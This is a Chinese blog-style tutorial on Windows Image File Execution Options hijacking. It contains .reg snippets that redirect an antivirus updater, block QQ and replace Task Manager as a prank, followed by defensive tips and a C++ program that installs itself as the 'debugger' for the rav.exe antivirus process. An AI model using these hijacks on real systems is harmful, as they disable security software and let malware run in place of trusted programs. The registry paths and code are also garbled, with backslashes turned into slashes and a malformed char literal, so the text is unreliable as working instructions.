镜像劫持

本文详细介绍了镜像劫持的概念,解释了病毒如何利用此功能来劫持杀毒软件和其他程序。病毒通过修改注册表中的特定键来实现程序的重定向,使得看似正常运行的程序实则在后台执行恶意代码。文章还提供了注册表修改方法,展示了如何创建和解除镜像劫持,并给出了防止病毒利用此技术的措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

操作系统本身就自带映像劫持的功能,病毒通过修改注册表 来实现对杀毒软件的劫持,当你运行杀软的时候,它就会自动把目标指向病毒的路径,结果,运行的是病毒,而不是杀毒软件。

  一、镜像劫持概述

   系统在试图执行一个从命令行调用可执行文件, 运行请求时,会先检查运行程序是不是可执行文件,如果是的话,继续检查格式,最后才会检查文件是否存在。如果不存在的话,它会提示系统找不到文件或者是 指定的路径不正确 等错误。把注册表中的这些键删除后,程序就可以正常运行了。

  虽然镜像劫持是系统自带的功能,对我们一般用户来说根本没什么用处,但是就有一些病毒通过镜像劫持,却可以实现其目的,表面上看起来是运行了一个程序,实际上病毒已经在后台运行了。

  大部分的病毒和木马都是通过加载系统启动项来运行的,也有一些是注册成为系统服务来启动,它们主要通过修改注册表来实现这个目的,主要有以下几个方面:

   HKEY_LOCAL_MACHINE/SOFTWARE Microsoft/Windows/CurrentVersion/Run*

   HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run*

   HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLLs

   HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon/Notify

  但是与一般的木马、病毒不同的是,有一些病毒偏偏不通过这些来加载自己,不随着系统的启动运行,而是等到用户运行某个特定的程序的时候才运行,这正好抓住了一些用户的心理。

  二、镜像劫持原理

  一般的用户,只要发觉自己的机子中了病毒,首先要察看的就是系统的加载项,很少有人会想到镜像劫持,这正是某些病毒高明的地方。

  劫持病毒主要通过修改注册表中的 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Executionoptions 项来劫持正常的程序,比如有一个病毒 bingdu.exe 要劫持 QQ 程序,它会在上面注册表的位置新建一个 QQ.exe 项,在这个项下面新建一个字符串的 键值 “debugger” 内容是: C:/WINDOWS/SYSTEM32/bingdu.exe 。当然,如果你把该字符串值改为任意的其他值的话,系统 就会提示找不到该文件。

  三、镜像劫持杀毒软件

  原理如上,下面是关于如何劫持杀毒软件的方法与解除的方法!

   劫持方法

  下面是注册表导入命令,把下面的命令粘贴到新的 TXT 文档中,另存为 .REG 后缀就行了,双击导入就行了

   Windows Registry Editor Version 5.00

   [HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion Image File Execution Options updater.exe]

   "Debugger"="110.exe"

   恢复方法

   Windows Registry Editor Version 5.00

   [-HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion Image File Execution Options updater.exe]

   "Debugger"="110.exe"

  就多一个减号

   其它

  其实要反病毒的镜像劫持的话,原理跟上面一样的

   Windows Registry Editor Version 5.00

   [-HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion Image File Execution Options \杀软的进程 ]

   "Debugger"="110.exe"

四、玩劫持

   1 、禁止某些程序的运行

   Windows Registry Editor Version 5.00

   [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/qq.exe]

   “Debugger”= “110.exe”

  把上面的代码保存为 norun_qq.reg ,双击导入注册表,每次双击运行 QQ 的时候,系统都会弹出一个框提示说找不到 QQ ,原因就 QQ 被重定向了。如果要让 QQ 继续运行的话,把 110.exe 改为其安装目录就可以了。

2 、偷梁换柱恶作剧

  每次我们按下 CTRL+ALT+DEL 键时,都会弹出任务管理器,想不想在我们按下这些键的时候让它弹出命令提示符窗口,下面就教你怎么玩:

   Windows Registry Editor Version 5.00

   [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/taskmgr.exe]

   “Debugger”=”D:/WINDOWS/pchealth/helpctr/binaries/mconfig.exe”

  将上面的代码另存为 task_cmd.reg ,双击导入注册表。按下那三个键打开了 系统配置实用程序

   3 、让病毒迷失自我

  同上面的道理一样,如果我们把病毒程序给重定向了,是不是病毒就不能运行了,答案是肯定的。

   Windows Registry Editor Version 5.00

   [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sppoolsv.exe]

   “Debugger”= “110.exe”

   [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/logo_1.exe]

   “Debugger”= “110.exe”

  上面的代码是以金猪病毒和威金病毒为例,这样即使这些病毒在系统启动项里面,即使随系统运行了,但是由于映象劫持的重定向作用,还是会被系统提示无法找到病毒文件 ( 这里是 logo_1.exe sppoolsv.exe)

  五、防劫持

   1 、权限限制法

  打开注册表编辑器,定位到

   [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/ ,选中该项,右键 权限 高级,取消 administrator system 用户的写权限即可。

   2 、快刀斩乱麻法

  打开注册表编辑器,定位到 [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/ ,把 “Image File Execution Options” 中的刚才设置的对应项删除即可。

 

VC++ 镜像劫持实现代码 (360 保险箱用到此原理 )

 

  1. #include "stdafx.h"   
  2. #include <stdio.h>   
  3. #include <windows.h>   
  4.   
  5. int  main(int  argc, char * argv[])   
  6. {   
  7.     char  temp[256];   
  8.     DWORD  ret;   
  9.     LPCTSTR  szRegKey="SOFTWARE//Microsoft//Windows NT//CurrentVersion//Image File Execution Options"; // 定义字符串指针,保存映像劫持的键位   
  10.     HKEY  h_KEY;   
  11.     if(argc!=1)   // 如果参数不是 1 个,提取第 2 个参数,也就是被劫持程序的路径   
  12.     {   
  13.         memset(temp,0,256);   
  14.         strcpy(temp,argv[1]);      
  15.         for(int  i=0;i<strlen(temp);i++)    // 将路径中的 / 换为 / ,也可以换为 // ,就是代码长了点   
  16.         {   
  17.             if(temp[i]=='//')   
  18.                 temp[i]='/';   
  19.         }            
  20.         ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); // 打开注册表中需要映像劫持的子键获得句柄   
  21.         if(ret==ERROR_SUCCESS)   
  22.         {   
  23.             printf("open ok!/n");   
  24.             if(ERROR_SUCCESS==RegDeleteKey(h_KEY,"rav.exe")) // 将上面打开的子键下的 rav 子键删除   
  25.             {   
  26.                 printf("delete ok!/n");   
  27.                 RegCloseKey(h_KEY);   
  28.                 WinExec(temp,SW_SHOW);    // 运行被劫持的程序   
  29.             }   
  30.             else  
  31.             {   
  32.                 printf("delete failed!/n");   
  33.                 RegCloseKey(h_KEY);   
  34.             }      
  35.         }   
  36.         else  
  37.             printf("open failed!/n");   
  38.     }   
  39.     memset(temp,0,256);   
  40.     GetModuleFileName(NULL,temp,256);   // 得到程序自己的路径,为下面写入注册表做准备   
  41.     HKEY  hResultKey = NULL;   
  42.     if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY))  // 打开注册表中映像劫持的子键,获得句柄   
  43.     {   
  44.         DWORD  dw;   
  45.         ret = RegCreateKeyEx(h_KEY,"rav.exe", 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw);  // 在上面打开的子键下创建 rav 子键并打开,获得句柄   
  46.         if (ret!=ERROR_SUCCESS)   
  47.         {   
  48.             RegCloseKey(h_KEY);   
  49.             printf("creat failed!/n");   
  50.             return 1;   
  51.         }   
  52.         printf("creat ok!/n");   
  53.         ret=RegSetValueEx(hResultKey,"debugger",0,REG_SZ,(const BYTE  *)temp,strlen(temp)+1);   // rav 键上创建 debugger 键并设置值为本程序的路径用于映像劫持   
  54.         if(ret!=ERROR_SUCCESS)   
  55.         {   
  56.             RegCloseKey(h_KEY);   
  57.             RegCloseKey(hResultKey);   
  58.             return 1;   
  59.         }   
  60.         RegCloseKey(h_KEY);   
  61.         RegCloseKey(hResultKey);   
  62.         printf("set ok!/n");   
  63.     }   
  64.     MessageBox(NULL,"ok!"," 成功! ",MB_OK);    // 用于测试程序,可换为其他需要执行代码   
  65.   
  66.   

    return 0;   

  1. }  

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值